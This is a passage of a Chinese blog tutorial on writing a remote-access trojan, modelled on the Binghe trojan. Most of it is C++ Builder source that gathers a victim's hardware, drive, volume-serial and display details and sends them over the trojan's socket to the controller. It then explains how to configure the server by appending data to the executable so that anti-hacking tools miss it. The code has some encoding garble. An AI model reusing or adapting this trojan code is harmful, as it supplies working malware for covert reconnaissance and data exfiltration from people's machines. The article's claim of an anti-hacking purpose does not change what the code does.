透视木马程序开发技术:病毒源代码详解(下)

6、目标机器情况的获取

    相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

    AnsiString cs;

    FILE *fp;

    fp=fopen("temp.had","w+");

    //TODO: Add your source code here

    //获得CPU型号

    SYSTEM_INFO systeminfo;

    GetSystemInfo (&systeminfo);

    cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    MEMORYSTATUS memory;

    memory.dwLength =sizeof(memory); //初始化

    GlobalMemoryStatus(&memory);

    cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    DWORD sector,byte,cluster,free;

    long int freespace,totalspace;

    UINT type;

    char name;

    //0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、

    //5—CD-ROM、6—内存虚拟盘

    char volname[255],filename[100];//buffer[512];

    DWORD sno,maxl,fileflag ;

    for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z

    type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型

    if(type==0){

    cs="未知类型磁盘:"+String(name)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    }

    else if(type==2){

    cs="可移动类型磁盘:"+String(name)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    }

    else if(type==3){

    cs="固定磁盘:"+String(name)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);[未结束][duba_page]  }

    else if(type==4) {

    cs="网络映射磁盘:"+String(name)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    }

    else if (type==5){

    cs="光驱:"+String(name)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    }

    else if (type==6){

    cs="内存虚拟磁盘:"+String(name)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    }

     if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100)){

    cs=String(name)+"盘卷标为:"+String(volname)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    cs=String(name)+"盘序号为:"+String(sno)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

    totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量

    freespace=int(free)*byte*sector/1024/1024; //计算可用空间

    cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    }

    }

    int wavedevice,mididevice;

    WAVEOUTCAPS wavecap;

    MIDIOUTCAPS midicap;

    wavedevice=(int)waveOutGetNumDevs(); //波形设备信息

    mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息

    if (wavedevice!=0){

    waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));

    cs="当前波形设备:"+String(wavecap.szPname)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    }

    if (mididevice!=0){

    midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

    cs="当前MIDI设备:"+String(midicap.szPname)+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    }

    long double tcs;

    long double tc;

    long int bpp,cp;

    cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"";[未结束][duba_page]  fwrite(cs.c_str(),cs.Length(),1,fp);

    bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

    tcs=pow(2,bpp); //计算色彩的梯度数

    cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);

    tc= pow(double(tcs),double(cp)); //计算色深

    AnsiString sss;

    sss=bpp;

    cs="当前色深为:"+sss+"";

    fwrite(cs.c_str(),cs.Length(),1,fp);

    fclose(fp);

    AnsiString FileName="temp.had";

    char *buf;

    TcpMsgUint Msg2;

    strcpy(Msg2.TPassword,Password);

    TMemoryStream *ms=new TMemoryStream;

    ms->Clear();

    if (!FileExists(FileName)) CheckHard();

    TFileStream *fs=new TFileStream(FileName,fmOpenRead);

    buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

    fs->Read(buf,fs->Size);

    Msg2.Type=MsgGetHardWare;

    Msg2.Length=fs->Size;

    FileClose(fs->Handle);

    ms->Write(&Msg2,sizeof(TcpMsgUint));

    ms->Write(buf,Msg2.Length);

    ms->Position=0;

    delete []buf;

    try{

    sock->SendStream(ms);

    }

    catch(Exception&e) {

    }

    }

    上面一段程序,基本上把相关的系统信息都取到了。

    7、服务器端程序的包装与加密

    用过冰河的人都知道,冰河允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

    首先让我们来做一个实验:

    进入Windows的命令行模式下做如下操作

    1)C:>copy Server.Exe Server.Bak

    2)建立一个文本文件Test.Txt,其内容为“
http://www.patching.net”

    3)C:>type Text.Txt>>Server.Exe

    4)运行Server.Exe

    怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。

    8、总结

    以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,看来反黑工作要走的路还很长,从根本上防止木马,也只有从我们自身对木马的认识开始,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。
 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值